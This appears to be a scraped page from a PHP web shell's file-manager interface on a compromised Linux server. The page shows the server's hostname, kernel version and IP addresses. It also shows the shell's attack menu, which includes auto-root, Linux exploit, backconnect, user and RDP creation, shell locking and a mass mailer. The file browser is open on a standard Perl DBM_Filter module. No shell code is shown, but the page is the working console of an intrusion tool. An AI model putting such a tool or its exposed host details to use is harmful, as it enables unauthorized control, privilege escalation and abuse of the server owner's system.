Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
DBM_Filter /
[ HOME SHELL ]
Name
Size
Permission
Action
compress.pm
863
B
-rw-r--r--
encode.pm
1.34
KB
-rw-r--r--
int32.pm
760
B
-rw-r--r--
null.pm
973
B
-rw-r--r--
utf8.pm
784
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : compress.pm
package DBM_Filter::compress ; use strict; use warnings; use Carp; our $VERSION = '0.02'; BEGIN { eval { require Compress::Zlib; Compress::Zlib->import() }; croak "Compress::Zlib module not found.\n" if $@; } sub Store { $_ = compress($_) } sub Fetch { $_ = uncompress($_) } 1; __END__ =head1 NAME DBM_Filter::compress - filter for DBM_Filter =head1 SYNOPSIS use SDBM_File; # or DB_File, or GDBM_File, or NDBM_File, or ODBM_File use DBM_Filter ; $db = tie %hash, ... $db->Filter_Push('compress'); =head1 DESCRIPTION This DBM filter will compress all data before it is written to the database and uncompressed it on reading. A fatal error will be thrown if the Compress::Zlib module is not available. =head1 SEE ALSO L<DBM_Filter>, L<perldbmfilter>, L<Compress::Zlib> =head1 AUTHOR Paul Marquess pmqs@cpan.org
Close
